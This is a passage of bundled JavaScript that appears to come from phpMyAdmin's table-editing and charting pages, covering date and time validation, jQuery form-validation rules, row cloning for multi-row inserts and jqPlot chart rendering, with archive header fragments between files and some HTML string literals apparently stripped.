']'].selectedIndex = -1; // foreign key field (with browsing icon for foreign values) } else if (Number(theType) === 6) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; // Other field types } else /* if (theType === 5)*/{ rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; } // end if... else if... else return true; } // end of the 'nullify()' function /** * javascript DateTime format validation. * its used to prevent adding default (0000-00-00 00:00:00) to database when user enter wrong values * Start of validation part */ // function checks the number of days in febuary function daysInFebruary(year) { return year % 4 === 0 && (year % 100 !== 0 || year % 400 === 0) ? 29 : 28; } // function to convert single digit to double digit function fractionReplace(number) { var num = parseInt(number, 10); return num >= 1 && num <= 9 ? '0' + num : '00'; } /* function to check the validity of date * The following patterns are accepted in this validation (accepted in mysql as well) * 1) 2001-12-23 * 2) 2001-1-2 * 3) 02-12-23 * 4) And instead of using '-' the following punctuations can be used (+,.,*,^,@,/) All these are accepted by mysql as well. Therefore no issues */ function isDate(val, tmstmp) { var value = val.replace(/[.|*|^|+|//|@]/g, '-'); var arrayVal = value.split('-'); for (var a = 0; a < arrayVal.length; a++) { if (arrayVal[a].length === 1) { arrayVal[a] = fractionReplace(arrayVal[a]); } } value = arrayVal.join('-'); var pos = 2; var dtexp = new RegExp(/^([0-9]{4})-(((01|03|05|07|08|10|12)-((0[0-9])|([1-2][0-9])|(3[0-1])))|((02|04|06|09|11)-((0[0-9])|([1-2][0-9])|30))|((00)-(00)))$/); if (value.length === 8) { pos = 0; } if (dtexp.test(value)) { var month = parseInt(value.substring(pos + 3, pos + 5), 10); var day = parseInt(value.substring(pos + 6, pos + 8), 10); var year = parseInt(value.substring(0, pos + 2), 10); if (month === 2 && day > daysInFebruary(year)) { return false; } if (value.substring(0, pos + 2).length === 2) { year = parseInt('20' + value.substring(0, pos + 2), 10); } if (tmstmp === true) { if (year < 1978) { return false; } if (year > 2038 || year > 2037 && day > 19 && month >= 1 || year > 2037 && month > 1) { return false; } } } else { return false; } return true; } /* function to check the validity of time * The following patterns are accepted in this validation (accepted in mysql as well) * 1) 2:3:4 * 2) 2:23:43 * 3) 2:23:43.123456 */ function isTime(val) { var arrayVal = val.split(':'); for (var a = 0, l = arrayVal.length; a < l; a++) { if (arrayVal[a].length === 1) { arrayVal[a] = fractionReplace(arrayVal[a]); } } var newVal = arrayVal.join(':'); var tmexp = new RegExp(/^(-)?(([0-7]?[0-9][0-9])|(8[0-2][0-9])|(83[0-8])):((0[0-9])|([1-5][0-9])):((0[0-9])|([1-5][0-9]))(\.[0-9]{1,6}){0,1}$/); return tmexp.test(newVal); } /** * To check whether insert section is ignored or not * @param {string} multiEdit * @return {boolean} */ function checkForCheckbox(multiEdit) { if ($('#insert_ignore_' + multiEdit).length) { return $('#insert_ignore_' + multiEdit).is(':unchecked'); } return true; } // used in Search page mostly for INT fields // eslint-disable-next-line no-unused-vars function verifyAfterSearchFieldChange(index, searchFormId) { var $thisInput = $('input[name=\'criteriaValues[' + index + ']\']'); // Add data-skip-validators attribute to skip validation in changeValueFieldType function if ($('#fieldID_' + index).data('data-skip-validators')) { $(searchFormId).validate().destroy(); return; } // validation for integer type if ($thisInput.data('type') === 'INT' || $thisInput.data('type') === 'TINYINT') { // Trim spaces if it's an integer $thisInput.val($thisInput.val().trim()); var hasMultiple = $thisInput.prop('multiple'); if (hasMultiple) { $(searchFormId).validate({ // update errors as we write onkeyup: function (element) { $(element).valid(); } }); // validator method for IN(...), NOT IN(...) // BETWEEN and NOT BETWEEN jQuery.validator.addMethod('validationFunctionForMultipleInt', function (value) { return value.match(/^(?:(?:\d\s*)|\s*)+(?:,\s*\d+)*$/i) !== null; }, Messages.strEnterValidNumber); validateMultipleIntField($thisInput, true); } else { $(searchFormId).validate({ // update errors as we write onkeyup: function (element) { $(element).valid(); } }); validateIntField($thisInput, true); } // Update error on dropdown change $thisInput.valid(); } } /** * Validate the an input contains multiple int values * @param {jQuery} jqueryInput the Jquery object * @param {boolean} returnValueIfFine the value to return if the validator passes * @return {void} */ function validateMultipleIntField(jqueryInput, returnValueIfFine) { // removing previous rules jqueryInput.rules('remove'); jqueryInput.rules('add', { validationFunctionForMultipleInt: { param: jqueryInput.value, depends: function () { return returnValueIfFine; } } }); } /** * Validate the an input contains an int value * @param {jQuery} jqueryInput the Jquery object * @param {boolean} returnValueIfIsNumber the value to return if the validator passes * @return {void} */ function validateIntField(jqueryInput, returnValueIfIsNumber) { var mini = parseInt(jqueryInput.data('min')); var maxi = parseInt(jqueryInput.data('max')); // removing previous rules jqueryInput.rules('remove'); jqueryInput.rules('add', { number: { param: true, depends: function () { return returnValueIfIsNumber; } }, min: { param: mini, depends: function () { if (isNaN(jqueryInput.val())) { return false; } else { return returnValueIfIsNumber; } } }, max: { param: maxi, depends: function () { if (isNaN(jqueryInput.val())) { return false; } else { return returnValueIfIsNumber; } } } }); } function verificationsAfterFieldChange(urlField, multiEdit, theType) { var evt = window.event || arguments.callee.caller.arguments[0]; var target = evt.target || evt.srcElement; var $thisInput = $(':input[name^=\'fields[multi_edit][' + multiEdit + '][' + urlField + ']\']'); // the function drop-down that corresponds to this input field var $thisFunction = $('select[name=\'funcs[multi_edit][' + multiEdit + '][' + urlField + ']\']'); var functionSelected = false; if (typeof $thisFunction.val() !== 'undefined' && $thisFunction.val() !== null && $thisFunction.val().length > 0) { functionSelected = true; } // To generate the textbox that can take the salt var newSaltBox = '
        '; // If encrypting or decrypting functions that take salt as input is selected append the new textbox for salt if (target.value === 'AES_ENCRYPT' || target.value === 'AES_DECRYPT' || target.value === 'DES_ENCRYPT' || target.value === 'DES_DECRYPT' || target.value === 'ENCRYPT') { if (!$('#salt_' + target.id).length) { $thisInput.after(newSaltBox); } } else { // Remove the textbox for salt $('#salt_' + target.id).prev('br').remove(); $('#salt_' + target.id).remove(); } // Remove possible blocking rules if the user changed functions $('#' + target.id).rules('remove', 'validationFunctionForMd5'); $('#' + target.id).rules('remove', 'validationFunctionForAesDesEncrypt'); if (target.value === 'MD5') { $('#' + target.id).rules('add', { validationFunctionForMd5: { param: $thisInput, depends: function () { return checkForCheckbox(multiEdit); } } }); } if (target.value === 'DES_ENCRYPT' || target.value === 'AES_ENCRYPT') { $('#' + target.id).rules('add', { validationFunctionForAesDesEncrypt: { param: $thisInput, depends: function () { return checkForCheckbox(multiEdit); } } }); } if (target.value === 'HEX' && theType.substring(0, 3) === 'int') { // Add note when HEX function is selected on a int var newHexInfo = '

        ' + Messages.HexConversionInfo + '

        '; if (!$('#note' + target.id).length) { $thisInput.after(newHexInfo); } } else { $('#note' + target.id).prev('br').remove(); $('#note' + target.id).remove(); } // Unchecks the corresponding "NULL" control $('input[name=\'fields_null[multi_edit][' + multiEdit + '][' + urlField + ']\']').prop('checked', false); // Unchecks the Ignore checkbox for the current row $('input[name=\'insert_ignore_' + multiEdit + '\']').prop('checked', false); var charExceptionHandling; if (theType.substring(0, 4) === 'char') { charExceptionHandling = theType.substring(5, 6); } else if (theType.substring(0, 7) === 'varchar') { charExceptionHandling = theType.substring(8, 9); } if (functionSelected) { $thisInput.removeAttr('min'); $thisInput.removeAttr('max'); // @todo: put back attributes if corresponding function is deselected } if ($thisInput.data('rulesadded') === null && !functionSelected) { // call validate before adding rules $($thisInput[0].form).validate(); // validate for date time if (theType === 'datetime' || theType === 'time' || theType === 'date' || theType === 'timestamp') { $thisInput.rules('add', { validationFunctionForDateTime: { param: theType, depends: function () { return checkForCheckbox(multiEdit); } } }); } // validation for integer type if ($thisInput.data('type') === 'INT') { validateIntField($thisInput, checkForCheckbox(multiEdit)); // validation for CHAR types } else if ($thisInput.data('type') === 'CHAR') { var maxlen = $thisInput.data('maxlength'); if (typeof maxlen !== 'undefined') { if (maxlen <= 4) { maxlen = charExceptionHandling; } $thisInput.rules('add', { maxlength: { param: maxlen, depends: function () { return checkForCheckbox(multiEdit); } } }); } // validate binary & blob types } else if ($thisInput.data('type') === 'HEX') { $thisInput.rules('add', { validationFunctionForHex: { param: true, depends: function () { return checkForCheckbox(multiEdit); } } }); } $thisInput.data('rulesadded', true); } else if ($thisInput.data('rulesadded') === true && functionSelected) { // remove any rules added $thisInput.rules('remove'); // remove any error messages $thisInput.removeClass('error').removeAttr('aria-invalid').siblings('.error').remove(); $thisInput.data('rulesadded', null); } } /* End of fields validation*/ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/change.js', function () { $(document).off('click', 'span.open_gis_editor'); $(document).off('click', 'input[name^=\'insert_ignore_\']'); $(document).off('click', 'input[name=\'gis_data[save]\']'); $(document).off('click', 'input.checkbox_null'); $('select[name="submit_type"]').off('change'); $(document).off('change', '#insert_rows'); }); /** * Ajax handlers for Change Table page * * Actions Ajaxified here: * Submit Data to be inserted into the table. * Restart insertion with 'N' rows. */ AJAX.registerOnload('table/change.js', function () { if ($('#insertForm').length) { // validate the comment form when it is submitted $('#insertForm').validate(); jQuery.validator.addMethod('validationFunctionForHex', function (value) { return value.match(/^[a-f0-9]*$/i) !== null; }); jQuery.validator.addMethod('validationFunctionForMd5', function (value, element, options) { return !(value.substring(0, 3) === 'MD5' && typeof options.data('maxlength') !== 'undefined' && options.data('maxlength') < 32); }); jQuery.validator.addMethod('validationFunctionForAesDesEncrypt', function (value, element, options) { var funType = value.substring(0, 3); if (funType !== 'AES' && funType !== 'DES') { return false; } var dataType = options.data('type'); if (dataType === 'HEX' || dataType === 'CHAR') { return true; } return false; }); jQuery.validator.addMethod('validationFunctionForDateTime', function (value, element, options) { var dtValue = value; var theType = options; if (theType === 'date') { return isDate(dtValue); } else if (theType === 'time') { return isTime(dtValue); } else if (theType === 'datetime' || theType === 'timestamp') { var tmstmp = false; dtValue = dtValue.trim(); if (dtValue === 'CURRENT_TIMESTAMP' || dtValue === 'current_timestamp()') { return true; } if (theType === 'timestamp') { tmstmp = true; } if (dtValue === '0000-00-00 00:00:00') { return true; } var dv = dtValue.indexOf(' '); if (dv === -1) { // Only the date component, which is valid return isDate(dtValue, tmstmp); } return isDate(dtValue.substring(0, dv), tmstmp) && isTime(dtValue.substring(dv + 1)); } }); } /* * message extending script must be run * after initiation of functions */ extendingValidatorMessages(); $.datepicker.initialized = false; $(document).on('click', 'span.open_gis_editor', function (event) { event.preventDefault(); var $span = $(this); // Current value var value = $span.parent('td').children('input[type=\'text\']').val(); // Field name var field = $span.parents('tr').children('td').first().find('input[type=\'hidden\']').val(); // Column type var type = $span.parents('tr').find('span.column_type').text(); // Names of input field and null checkbox var inputName = $span.parent('td').children('input[type=\'text\']').attr('name'); openGISEditor(); if (!gisEditorLoaded) { loadJSAndGISEditor(value, field, type, inputName); } else { loadGISEditor(value, field, type, inputName); } }); /** * Forced validation check of fields */ $(document).on('click', 'input[name^=\'insert_ignore_\']', function () { $('#insertForm').valid(); }); /** * Uncheck the null checkbox as geometry data is placed on the input field */ $(document).on('click', 'input[name=\'gis_data[save]\']', function () { var inputName = $('form#gis_data_editor_form').find('input[name=\'input_name\']').val(); var currentRow = $('input[name=\'' + inputName + '\']').parents('tr'); var $nullCheckbox = currentRow.find('.checkbox_null'); $nullCheckbox.prop('checked', false); var rowId = currentRow.find('.open_gis_editor').data('row-id'); // Unchecks the Ignore checkbox for the current row $('input[name=\'insert_ignore_' + rowId + '\']').prop('checked', false); }); /** * Handles all current checkboxes for Null; this only takes care of the * checkboxes on currently displayed rows as the rows generated by * "Continue insertion" are handled in the "Continue insertion" code * */ $(document).on('click', 'input.checkbox_null', function () { nullify( // use hidden fields populated by /table/change $(this).siblings('.nullify_code').val(), $(this).closest('tr').find('input:hidden').first().val(), $(this).siblings('.hashed_field').val(), $(this).siblings('.multi_edit').val()); }); /** * Reset the auto_increment column to 0 when selecting any of the * insert options in submit_type-dropdown. Only perform the reset * when we are in edit-mode, and not in insert-mode(no previous value * available). */ $('select[name="submit_type"]').on('change', function () { var thisElemSubmitTypeVal = $(this).val(); var $table = $('table.insertRowTable'); var autoIncrementColumn = $table.find('input[name^="auto_increment"]'); autoIncrementColumn.each(function () { var $thisElemAIField = $(this); var thisElemName = $thisElemAIField.attr('name'); var prevValueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields_prev') + '"]'); var valueField = $table.find('input[name="' + thisElemName.replace('auto_increment', 'fields') + '"]'); var previousValue = $(prevValueField).val(); if (previousValue !== undefined) { if (thisElemSubmitTypeVal === 'insert' || thisElemSubmitTypeVal === 'insertignore' || thisElemSubmitTypeVal === 'showinsert') { $(valueField).val(null); } else { $(valueField).val(previousValue); } } }); }); /** * Handle ENTER key when press on Continue insert with field */ $('#insert_rows').on('keypress', function (e) { var key = e.which; if (key === 13) { addNewContinueInsertionFields(e); } }); /** * Continue Insertion form */ $(document).on('change', '#insert_rows', addNewContinueInsertionFields); }); function addNewContinueInsertionFields(event) { event.preventDefault(); /** * @var columnCount Number of number of columns table has. */ var columnCount = $('table.insertRowTable').first().find('tr').has('input[name*=\'fields_name\']').length; /** * @var curr_rows Number of current insert rows already on page */ var currRows = $('table.insertRowTable').length; /** * @var target_rows Number of rows the user wants */ var targetRows = $('#insert_rows').val(); // remove all datepickers $('input.datefield, input.datetimefield').each(function () { $(this).datepicker('destroy'); }); if (currRows < targetRows) { var tempIncrementIndex = function () { var $thisElement = $(this); /** * Extract the index from the name attribute for all input/select fields and increment it * name is of format funcs[multi_edit][10][] */ /** * @var this_name String containing name of the input/select elements */ var thisName = $thisElement.attr('name'); /** split {@link thisName} at [10], so we have the parts that can be concatenated later */ var nameParts = thisName.split(/\[\d+\]/); /** extract the [10] from {@link nameParts} */ var oldRowIndexString = thisName.match(/\[\d+\]/)[0]; /** extract 10 - had to split into two steps to accomodate double digits */ var oldRowIndex = parseInt(oldRowIndexString.match(/\d+/)[0], 10); /** calculate next index i.e. 11 */ newRowIndex = oldRowIndex + 1; /** generate the new name i.e. funcs[multi_edit][11][foobarbaz] */ var newName = nameParts[0] + '[' + newRowIndex + ']' + nameParts[1]; var hashedField = nameParts[1].match(/\[(.+)\]/)[1]; $thisElement.attr('name', newName); /** If element is select[name*='funcs'], update id */ if ($thisElement.is('select[name*=\'funcs\']')) { var thisId = $thisElement.attr('id'); var idParts = thisId.split(/_/); var oldIdIndex = idParts[1]; var prevSelectedValue = $('#field_' + oldIdIndex + '_1').val(); var newIdIndex = parseInt(oldIdIndex) + columnCount; var newId = 'field_' + newIdIndex + '_1'; $thisElement.attr('id', newId); $thisElement.find('option').filter(function () { return $(this).text() === prevSelectedValue; }).attr('selected', 'selected'); // If salt field is there then update its id. var nextSaltInput = $thisElement.parent().next('td').next('td').find('input[name*=\'salt\']'); if (nextSaltInput.length !== 0) { nextSaltInput.attr('id', 'salt_' + newId); } } // handle input text fields and textareas if ($thisElement.is('.textfield') || $thisElement.is('.char') || $thisElement.is('textarea')) { // do not remove the 'value' attribute for ENUM columns // special handling for radio fields after updating ids to unique - see below if ($thisElement.closest('tr').find('span.column_type').html() !== 'enum') { $thisElement.val($thisElement.closest('tr').find('span.default_value').html()); } $thisElement.off('change') // Remove onchange attribute that was placed // by /table/change; it refers to the wrong row index .attr('onchange', null) // Keep these values to be used when the element // will change .data('hashed_field', hashedField).data('new_row_index', newRowIndex).on('change', function () { var $changedElement = $(this); verificationsAfterFieldChange($changedElement.data('hashed_field'), $changedElement.data('new_row_index'), $changedElement.closest('tr').find('span.column_type').html()); }); } if ($thisElement.is('.checkbox_null')) { $thisElement // this event was bound earlier by jQuery but // to the original row, not the cloned one, so unbind() .off('click') // Keep these values to be used when the element // will be clicked .data('hashed_field', hashedField).data('new_row_index', newRowIndex).on('click', function () { var $changedElement = $(this); nullify($changedElement.siblings('.nullify_code').val(), $thisElement.closest('tr').find('input:hidden').first().val(), $changedElement.data('hashed_field'), '[multi_edit][' + $changedElement.data('new_row_index') + ']'); }); } }; var tempReplaceAnchor = function () { var $anchor = $(this); var newValue = 'rownumber=' + newRowIndex; // needs improvement in case something else inside // the href contains this pattern var newHref = $anchor.attr('href').replace(/rownumber=\d+/, newValue); $anchor.attr('href', newHref); }; var restoreValue = function () { if ($(this).closest('tr').find('span.column_type').html() === 'enum') { if ($(this).val() === $checkedValue) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } } }; while (currRows < targetRows) { /** * @var $last_row Object referring to the last row */ var $lastRow = $('#insertForm').find('.insertRowTable').last(); // need to access this at more than one level // (also needs improvement because it should be calculated // just once per cloned row, not once per column) var newRowIndex = 0; var $checkedValue = $lastRow.find('input:checked').val(); // Clone the insert tables $lastRow.clone(true, true).insertBefore('#actions_panel').find('input[name*=multi_edit],select[name*=multi_edit],textarea[name*=multi_edit]').each(tempIncrementIndex).end().find('.foreign_values_anchor').each(tempReplaceAnchor); var $oldRow = $lastRow.find('.textfield'); $oldRow.each(restoreValue); // set the value of enum field of new row to default var $newRow = $('#insertForm').find('.insertRowTable').last(); $newRow.find('.textfield').each(function () { if ($(this).closest('tr').find('span.column_type').html() === 'enum') { if ($(this).val() === $(this).closest('tr').find('span.default_value').html()) { $(this).prop('checked', true); } else { $(this).prop('checked', false); } } }); // Insert/Clone the ignore checkboxes if (currRows === 1) { $('').insertBefore($('table.insertRowTable').last()).after(''); } else { /** * @var $last_checkbox Object reference to the last checkbox in #insertForm */ var $lastCheckbox = $('#insertForm').children('input:checkbox').last(); /** name of {@link $lastCheckbox} */ var lastCheckboxName = $lastCheckbox.attr('name'); /** index of {@link $lastCheckbox} */ var lastCheckboxIndex = parseInt(lastCheckboxName.match(/\d+/), 10); /** name of new {@link $lastCheckbox} */ var newName = lastCheckboxName.replace(/\d+/, lastCheckboxIndex + 1); $('
        ').insertBefore($('table.insertRowTable').last()); $lastCheckbox.clone().attr({ 'id': newName, 'name': newName }).prop('checked', true).insertBefore($('table.insertRowTable').last()); $('label[for^=insert_ignore]').last().clone().attr('for', newName).insertBefore($('table.insertRowTable').last()); $('
        ').insertBefore($('table.insertRowTable').last()); } currRows++; } // recompute tabindex for text fields and other controls at footer; // IMO it's not really important to handle the tabindex for // function and Null var tabIndex = 0; $('.textfield, .char, textarea').each(function () { tabIndex++; $(this).attr('tabindex', tabIndex); // update the IDs of textfields to ensure that they are unique $(this).attr('id', 'field_' + tabIndex + '_3'); }); $('.control_at_footer').each(function () { tabIndex++; $(this).attr('tabindex', tabIndex); }); } else if (currRows > targetRows) { /** * Displays alert if data loss possible on decrease * of rows. */ var checkLock = jQuery.isEmptyObject(AJAX.lockedTargets); if (checkLock || confirm(Messages.strConfirmRowChange) === true) { while (currRows > targetRows) { $('input[id^=insert_ignore]').last().nextUntil('fieldset').addBack().remove(); currRows--; } } else { document.getElementById('insert_rows').value = currRows; } } // Add all the required datepickers back Functions.addDateTimePicker(); } // eslint-disable-next-line no-unused-vars function changeValueFieldType(elem, searchIndex) { var fieldsValue = $('input#fieldID_' + searchIndex); if (0 === fieldsValue.size()) { return; } var type = $(elem).val(); if ('LIKE' === type || 'LIKE %...%' === type || 'NOT LIKE' === type || 'NOT LIKE %...%' === type) { $('#fieldID_' + searchIndex).data('data-skip-validators', true); return; } else { $('#fieldID_' + searchIndex).data('data-skip-validators', false); } if ('IN (...)' === type || 'NOT IN (...)' === type || 'BETWEEN' === type || 'NOT BETWEEN' === type) { $('#fieldID_' + searchIndex).prop('multiple', true); } else { $('#fieldID_' + searchIndex).prop('multiple', false); } }dist/table/chart.js000066600000031051151724472050010250 0ustar00/* global ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js /* global codeMirrorEditor */ // js/functions.js var chartData = {}; var tempChartTitle; var currentChart = null; var currentSettings = null; var dateTimeCols = []; var numericCols = []; function extractDate(dateString) { var matches; var match; var dateTimeRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}/; var dateRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2}/; matches = dateTimeRegExp.exec(dateString); if (matches !== null && matches.length > 0) { match = matches[0]; return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2), match.substr(11, 2), match.substr(14, 2), match.substr(17, 2)); } else { matches = dateRegExp.exec(dateString); if (matches !== null && matches.length > 0) { match = matches[0]; return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2)); } } return null; } function queryChart(data, columnNames, settings) { if ($('#querychart').length === 0) { return; } var plotSettings = { title: { text: settings.title, escapeHtml: true }, grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, legend: { show: true, placement: 'outsideGrid', location: 'e', rendererOptions: { numberColumns: 2 } }, axes: { xaxis: { label: Functions.escapeHtml(settings.xaxisLabel) }, yaxis: { label: settings.yaxisLabel } }, stackSeries: settings.stackSeries }; // create the chart var factory = new JQPlotChartFactory(); var chart = factory.createChart(settings.type, 'querychart'); // create the data table and add columns var dataTable = new DataTable(); if (settings.type === 'timeline') { dataTable.addColumn(ColumnType.DATE, columnNames[settings.mainAxis]); } else if (settings.type === 'scatter') { dataTable.addColumn(ColumnType.NUMBER, columnNames[settings.mainAxis]); } else { dataTable.addColumn(ColumnType.STRING, columnNames[settings.mainAxis]); } var i; var values = []; if (settings.seriesColumn === null) { $.each(settings.selectedSeries, function (index, element) { dataTable.addColumn(ColumnType.NUMBER, columnNames[element]); }); // set data to the data table var columnsToExtract = [settings.mainAxis]; $.each(settings.selectedSeries, function (index, element) { columnsToExtract.push(element); }); var newRow; var row; var col; for (i = 0; i < data.length; i++) { row = data[i]; newRow = []; for (var j = 0; j < columnsToExtract.length; j++) { col = columnNames[columnsToExtract[j]]; if (j === 0) { if (settings.type === 'timeline') { // first column is date type newRow.push(extractDate(row[col])); } else if (settings.type === 'scatter') { newRow.push(parseFloat(row[col])); } else { // first column is string type newRow.push(row[col]); } } else { // subsequent columns are of type, number newRow.push(parseFloat(row[col])); } } values.push(newRow); } dataTable.setData(values); } else { var seriesNames = {}; var seriesNumber = 1; var seriesColumnName = columnNames[settings.seriesColumn]; for (i = 0; i < data.length; i++) { if (!seriesNames[data[i][seriesColumnName]]) { seriesNames[data[i][seriesColumnName]] = seriesNumber; seriesNumber++; } } $.each(seriesNames, function (seriesName) { dataTable.addColumn(ColumnType.NUMBER, seriesName); }); var valueMap = {}; var xValue; var value; var mainAxisName = columnNames[settings.mainAxis]; var valueColumnName = columnNames[settings.valueColumn]; for (i = 0; i < data.length; i++) { xValue = data[i][mainAxisName]; value = valueMap[xValue]; if (!value) { value = [xValue]; valueMap[xValue] = value; } seriesNumber = seriesNames[data[i][seriesColumnName]]; value[seriesNumber] = parseFloat(data[i][valueColumnName]); } $.each(valueMap, function (index, value) { values.push(value); }); dataTable.setData(values); } // draw the chart and return the chart object chart.draw(dataTable, plotSettings); return chart; } function drawChart() { currentSettings.width = $('#resizer').width() - 20; currentSettings.height = $('#resizer').height() - 20; // TODO: a better way using .redraw() ? if (currentChart !== null) { currentChart.destroy(); } var columnNames = []; $('#chartXAxisSelect option').each(function () { columnNames.push(Functions.escapeHtml($(this).text())); }); try { currentChart = queryChart(chartData, columnNames, currentSettings); if (currentChart !== null) { $('#saveChart').attr('href', currentChart.toImageString()); } } catch (err) { Functions.ajaxShowMessage(err.message, false); } } function getSelectedSeries() { var val = $('#chartSeriesSelect').val() || []; var ret = []; $.each(val, function (i, v) { ret.push(parseInt(v, 10)); }); return ret; } function onXAxisChange() { var $xAxisSelect = $('#chartXAxisSelect'); currentSettings.mainAxis = parseInt($xAxisSelect.val(), 10); if (dateTimeCols.indexOf(currentSettings.mainAxis) !== -1) { document.getElementById('timelineChartType').classList.remove('d-none'); } else { document.getElementById('timelineChartType').classList.add('d-none'); if (currentSettings.type === 'timeline') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } } if (numericCols.indexOf(currentSettings.mainAxis) !== -1) { document.getElementById('scatterChartType').classList.remove('d-none'); } else { document.getElementById('scatterChartType').classList.add('d-none'); if (currentSettings.type === 'scatter') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } } var xAxisTitle = $xAxisSelect.children('option:selected').text(); $('#xAxisLabelInput').val(xAxisTitle); currentSettings.xaxisLabel = xAxisTitle; } function onDataSeriesChange() { var $seriesSelect = $('#chartSeriesSelect'); currentSettings.selectedSeries = getSelectedSeries(); var yAxisTitle; if (currentSettings.selectedSeries.length === 1) { document.getElementById('pieChartType').classList.remove('d-none'); yAxisTitle = $seriesSelect.children('option:selected').text(); } else { document.getElementById('pieChartType').classList.add('d-none'); if (currentSettings.type === 'pie') { $('#lineChartTypeRadio').prop('checked', true); currentSettings.type = 'line'; } yAxisTitle = Messages.strYValues; } $('#yAxisLabelInput').val(yAxisTitle); currentSettings.yaxisLabel = yAxisTitle; } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/chart.js', function () { $('input[name="chartType"]').off('click'); $('#barStackedCheckbox').off('click'); $('#seriesColumnCheckbox').off('click'); $('#chartTitleInput').off('focus').off('keyup').off('blur'); $('#chartXAxisSelect').off('change'); $('#chartSeriesSelect').off('change'); $('#chartSeriesColumnSelect').off('change'); $('#chartValueColumnSelect').off('change'); $('#xAxisLabelInput').off('keyup'); $('#yAxisLabelInput').off('keyup'); $('#resizer').off('resizestop'); $('#tblchartform').off('submit'); }); AJAX.registerOnload('table/chart.js', function () { // handle manual resize $('#resizer').on('resizestop', function () { // make room so that the handle will still appear $('#querychart').height($('#resizer').height() * 0.96); $('#querychart').width($('#resizer').width() * 0.96); if (currentChart !== null) { currentChart.redraw({ resetAxes: true }); } }); // handle chart type changes $('input[name="chartType"]').on('click', function () { var type = currentSettings.type = $(this).val(); if (type === 'bar' || type === 'column' || type === 'area') { document.getElementById('barStacked').classList.remove('d-none'); } else { $('#barStackedCheckbox').prop('checked', false); $.extend(true, currentSettings, { stackSeries: false }); document.getElementById('barStacked').classList.add('d-none'); } drawChart(); }); // handle chosing alternative data format $('#seriesColumnCheckbox').on('click', function () { var $seriesColumn = $('#chartSeriesColumnSelect'); var $valueColumn = $('#chartValueColumnSelect'); var $chartSeries = $('#chartSeriesSelect'); if ($(this).is(':checked')) { $seriesColumn.prop('disabled', false); $valueColumn.prop('disabled', false); $chartSeries.prop('disabled', true); currentSettings.seriesColumn = parseInt($seriesColumn.val(), 10); currentSettings.valueColumn = parseInt($valueColumn.val(), 10); } else { $seriesColumn.prop('disabled', true); $valueColumn.prop('disabled', true); $chartSeries.prop('disabled', false); currentSettings.seriesColumn = null; currentSettings.valueColumn = null; } drawChart(); }); // handle stacking for bar, column and area charts $('#barStackedCheckbox').on('click', function () { if ($(this).is(':checked')) { $.extend(true, currentSettings, { stackSeries: true }); } else { $.extend(true, currentSettings, { stackSeries: false }); } drawChart(); }); // handle changes in chart title $('#chartTitleInput').on('focus', function () { tempChartTitle = $(this).val(); }).on('keyup', function () { currentSettings.title = $('#chartTitleInput').val(); drawChart(); }).on('blur', function () { if ($(this).val() !== tempChartTitle) { drawChart(); } }); // handle changing the x-axis $('#chartXAxisSelect').on('change', function () { onXAxisChange(); drawChart(); }); // handle changing the selected data series $('#chartSeriesSelect').on('change', function () { onDataSeriesChange(); drawChart(); }); // handle changing the series column $('#chartSeriesColumnSelect').on('change', function () { currentSettings.seriesColumn = parseInt($(this).val(), 10); drawChart(); }); // handle changing the value column $('#chartValueColumnSelect').on('change', function () { currentSettings.valueColumn = parseInt($(this).val(), 10); drawChart(); }); // handle manual changes to the chart x-axis labels $('#xAxisLabelInput').on('keyup', function () { currentSettings.xaxisLabel = $(this).val(); drawChart(); }); // handle manual changes to the chart y-axis labels $('#yAxisLabelInput').on('keyup', function () { currentSettings.yaxisLabel = $(this).val(); drawChart(); }); // handler for ajax form submission $('#tblchartform').on('submit', function () { var $form = $(this); if (codeMirrorEditor) { $form[0].elements.sql_query.value = codeMirrorEditor.getValue(); } if (!Functions.checkSqlQuery($form[0])) { return false; } var $msgbox = Functions.ajaxShowMessage(); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true && typeof data.chartData !== 'undefined') { chartData = JSON.parse(data.chartData); drawChart(); Functions.ajaxRemoveMessage($msgbox); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); // end $.post() return false; }); // from jQuery UI $('#resizer').resizable({ minHeight: 240, minWidth: 300 }).width($('#div_view_options').width() - 50).trigger('resizestop'); currentSettings = { type: 'line', width: $('#resizer').width() - 20, height: $('#resizer').height() - 20, xaxisLabel: $('#xAxisLabelInput').val(), yaxisLabel: $('#yAxisLabelInput').val(), title: $('#chartTitleInput').val(), stackSeries: false, mainAxis: parseInt($('#chartXAxisSelect').val(), 10), selectedSeries: getSelectedSeries(), seriesColumn: null }; var vals = $('input[name="dateTimeCols"]').val().split(' '); $.each(vals, function (i, v) { dateTimeCols.push(parseInt(v, 10)); }); vals = $('input[name="numericCols"]').val().split(' '); $.each(vals, function (i, v) { numericCols.push(parseInt(v, 10)); }); onXAxisChange(); onDataSeriesChange(); $('#tblchartform').trigger('submit'); });dist/table/find_replace.js000066600000002567151724472050011574 0ustar00/** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/find_replace.js', function () { $('#find_replace_form').off('submit'); $('#toggle_find').off('click'); }); /** * Bind events */ AJAX.registerOnload('table/find_replace.js', function () { $('
